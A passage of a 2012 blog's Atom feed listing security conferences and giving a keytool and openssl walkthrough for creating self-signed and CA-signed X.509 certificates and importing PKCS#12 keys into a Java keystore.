&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;2.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;Public&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$1299&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$1599&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$1799&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;3.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;Academic Pass**&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$399&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$599&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;$699&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;4.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;Press &amp;amp; Media&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; colspan=&quot;5&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;em&gt;Please email info@hackerhalted.com for more information&amp;nbsp;&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;font-size: 12px; line-height: 16px;&quot;&gt;&lt;td align=&quot;center&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;5.&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;Group Registrations&lt;/td&gt;&lt;td style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;/td&gt;&lt;td align=&quot;center&quot; colspan=&quot;5&quot; style=&quot;font-size: 12px; line-height: 16px;&quot; valign=&quot;top&quot;&gt;&lt;em&gt;Please email info@hackerhalted.com for more information&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;a href=&quot;https://www.blackhat.com/index.html&quot;&gt;Blackhat&lt;/a&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;h4 style=&quot;background-color: black; border: 0px; color: #cccccc; font-family: &#39;Lucida Grande&#39;, &#39;Lucida Sans Unicode&#39;, &#39;Lucida Sans&#39;, sans-serif, Verdana; font-size: 11px; font-weight: normal; letter-spacing: 2px; line-height: 1.25; margin: 0px 0px 1.25em; padding: 0px; text-align: -webkit-auto;&quot;&gt;



July 21-26, 2012 | Las Vegas, NV&lt;/h4&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;a href=&quot;http://www.isaca.org/Education/Upcoming-Events/Pages/world-congress-2012.aspx/&quot; target=&quot;_blank&quot;&gt;ISACA&#39;s World Congress&lt;/a&gt;&lt;/h2&gt;
&amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
25-27 June 2012 | San Francisco, CA, USA&lt;br /&gt;
A leadership forum for business and IT professionals.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache:2IK-oGhTvegJ:www.securitybsides.com/w/page/50488342/BSidesDFW%25202012+&amp;amp;cd=1&amp;amp;hl=en&amp;amp;ct=clnk&amp;amp;gl=us&quot; target=&quot;_blank&quot;&gt;BSidesDFW 2012&lt;/a&gt;&lt;/h2&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Event details:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
When: Saturday, November 3, 2012&lt;br /&gt;
Where: CTREC Hilton Academy (1605 LBJ Freeway, Dallas, TX 75234)&lt;br /&gt;
Cost: Free (as always!) Donations are always welcome Donate Here!&lt;br /&gt;
Doors open at: 8:30 am - 5:30 pm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;strong style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;a href=&quot;http://www.misti.com/default.asp?page=65&amp;amp;Return=70&amp;amp;ProductID=5539&amp;amp;LS=infosecworld&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;InfoSec World Conference &amp;amp; Expo 2013&lt;/span&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/h2&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;April 15-17, 2013&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Walt Disney World Swan and Dolphin&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Orlando, FL&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



Here are resources in case you want to look at all available conferences:&lt;/h2&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;h2 style=&quot;border: 0px; clear: both; margin: 0px 0px 2px; outline: 0px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;&quot;&gt;



&lt;/h2&gt;
&lt;h2 style=&quot;border: 0px; clear: both; margin: 0px 0px 2px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;



&lt;a href=&quot;https://secore.info/&quot; style=&quot;background-color: white;&quot;&gt;https://secore.info/&lt;/a&gt;&lt;/h2&gt;
Resource for Information Security conferences.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;http://www.allconferences.com/&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.secsocial.com/blog/?page_id=478&quot; style=&quot;background-color: white;&quot;&gt;http://www.secsocial.com/blog/?page_id=478&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/7905208323254778488/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/07/security-conferences-that-i-find.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/7905208323254778488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/7905208323254778488'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/07/security-conferences-that-i-find.html' title='Security Conferences that I find interesting - 2012'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-8087081306169614208</id><published>2012-07-15T11:53:00.000-07:00</published><updated>2012-07-24T08:59:36.425-07:00</updated><title type='text'>Creating an X509v3 Certificate</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;There are three options to generate a certificate and some of the steps are common between the first two options.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;b style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: large;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: large;&quot;&gt;Option1: Create a self signed certificate&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;We can use the keytool supplied as part of JDK to create this. For example:&lt;/span&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Step1: Creating a Certificate&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;jdk1.7.0_04\bin&amp;gt;keytool -genkey -keyalg RSA -alias manojdefaultcert &amp;nbsp;-keystore manojkeystore.jks&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Step 2: generating a CSR( Certificate Signing Request).&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;The CSR contains the public key and the name of the server, in a format defined by the PKCS#10 standard (typically given the filename extension .p10 or .csr)&lt;/span&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;jdk1.7.0_04\bin&amp;gt;keytool -certreq -sigalg MD5withRSA -alias manojdefaultcert -file &lt;span style=&quot;color: blue;&quot;&gt;manojdefaultcert-csr.pem&lt;/span&gt; &amp;nbsp;-keystore manojkeystore.jks&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Step3: Generate certificate from above CSR.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;jdk1.7.0_04\bin&amp;gt;keytool -gencert -infile manojdefaultcert-csr.pem -outf&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;ile manojdefaultcert.cert -alias manojdefaultcert -keystore manojkeystore.jks&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Don&#39;t recall if I had to do anything with the certificate generated in&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;manojdefaultcert.cert file. Probably the PrivateKey entry in the keytool becomes ready for use.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;Maybe we can &amp;nbsp;use this certificate and provide it to clients that want to trust this self signed certificate.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: large;&quot;&gt;Option2: Create a Certificate signed by a CA&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: large;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Steps 1 and 2 are similar to the ones for option 1. Once we have the CSR, we can&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;get the CSR signed by a CA. Refer the&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;a href=&quot;http://softwarearchitectureandarchitects.blogspot.com/2012/06/pki-setting-up-and-using-certificate.html&quot; target=&quot;_blank&quot;&gt;EJB CA post to see how EJBCA was setup as a CA and how we can get the cert signed by EJBCA&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Just to summarize,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;navigate to&lt;/span&gt;&amp;nbsp;&lt;a href=&quot;https://localhost:8443/ejbca/enrol/server.jsp&quot;&gt;https://localhost:8443/ejbca/enrol/server.jsp&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;and select the CSR file and the user id to create against.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;User id should match the subject in &quot;CN=subject&quot;.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Output in pkcs#7 format.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Note: Remember to accept the return in pkcs#7 format from the CA and then import that file into the keystore. For some reason pem format didn&#39;t work in EJBCA. maybe because it didn&#39;t have the full chain.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;b&gt;Step 3: Import the output file&lt;/b&gt;(
CA Reply or CSR Reply)&amp;nbsp;from the CA in keystore:&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;This is typically given as an X.509 Certificate file (.cer, .crt, .pem, or .der) or as a PKCS#7 file (.p7b). In our case it is .p7b.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;&lt;ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Each certificate in the chain must imported into the keystore(starting first with the root cert). If the CA Reply does not include the chain certificates, they must be added to the keystore manually before the CA reply.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;In our case .p7b includes the cert chain.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;The command is:&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;keytool -importcert -alias testkeytoolcert -keystore testkey.jks -&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;file &quot;Manoj Test-testkeytoolcert-AdminCA1.pkcs7&quot;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Basically we are trying to import the certificate returned from the CA using the same alias that was used to generate the PrivateKey entry. Keytool will assign the certificate chain to the PrivateKey and record the reply from the CA.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;pre style=&quot;text-align: left;&quot;&gt;&lt;h2 style=&quot;font-family: &#39;Times New Roman&#39;; text-align: left; white-space: normal;&quot;&gt;



&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Option 3: Import an existing certificate ( in pkcs#12 format).&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium; text-align: left; white-space: normal;&quot;&gt;Basically, the certificate and keys were generated using a different tool or process or by an &amp;nbsp;internal company process. The cert and key information has to be combined into a single pkcs#12 format by using openSSL:&lt;/span&gt;
&lt;/div&gt;
&lt;/pre&gt;
&lt;pre style=&quot;text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;openssl pkcs12 -export -in cert.crt -inkey key.key &lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;-out exported.p12 -name tomcat -CAfile myCA.crt &lt;/span&gt;&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;-caname root -chain&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium; font-weight: normal;&quot;&gt;This certificate can then in imported in JKS keystore.&amp;nbsp;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Option 4:&amp;nbsp;Programmatically&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: large;&quot;&gt;create a Certificate signed by a CA using SCEP&lt;/b&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;This will be the subject of another blog post...&lt;/span&gt;&lt;br /&gt;
&lt;b style=&quot;color: red;&quot;&gt;&amp;lt;TODO: insert link to blog post on SCEP Enrollment&amp;gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Resources&lt;/span&gt;&lt;/h3&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://www.lazgosoftware.com/kse/&quot; style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: large;&quot; target=&quot;_blank&quot;&gt;KeyStore Explorer&lt;/a&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Free GUI replacement for the Java command-line utilities keytool, jarsigner and jadtool. KeyStore Explorer presents their functionality, and more, via an intuitive graphical user interface.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Free but not open source. Cannot redistribute.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Allows exporting of the PrivateKey.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Refer a utility in security-utils project for importing a private key and certs.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://docs.oracle.com/javase/7/docs/technotes/tools/windows/keytool.html&quot; style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px; font-weight: normal;&quot;&gt;http://docs.oracle.com/javase/7/docs/technotes/tools/windows/keytool.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://www.startux.de/java/44-dealing-with-java-keystores&quot;&gt;Useful article for commands etc for dealing with java Keystores&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Importing private keys into a Java keystore using keytool&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
&lt;div&gt;
&lt;span style=&quot;font-weight: normal;&quot;&gt;We need to convert our existing certificate and key into a PKCS12 file, and then use the keytool functionality to merge one keystore with another one. Java 6 can treat a PKCS12 file as a keystore so putting this together we get this:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;keytool -importkeystore -deststorepass pwd -destkeypass pwd -destkeystore dest-keystore.jks -srckeystore src-certs-priv-key.p12 -srcstoretype PKCS12 -srcstorepass key-password -alias 1&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-weight: normal;&quot;&gt;The alias of 1 is required to choose the certificate in the source PKCS12 file, keytool isn&#39;t clever enough to figure out which certificate you want in a store containing one certificate.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/h3&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt; text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue; font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/8087081306169614208/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/07/creating-x509v3-certificate.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8087081306169614208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8087081306169614208'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/07/creating-x509v3-certificate.html' title='Creating an X509v3 Certificate'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-5725553898576256758</id><published>2012-06-30T21:35:00.000-07:00</published><updated>2012-07-24T09:02:13.009-07:00</updated><title type='text'>PKI: Setting up and using a Certificate Authority using EJBCA</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
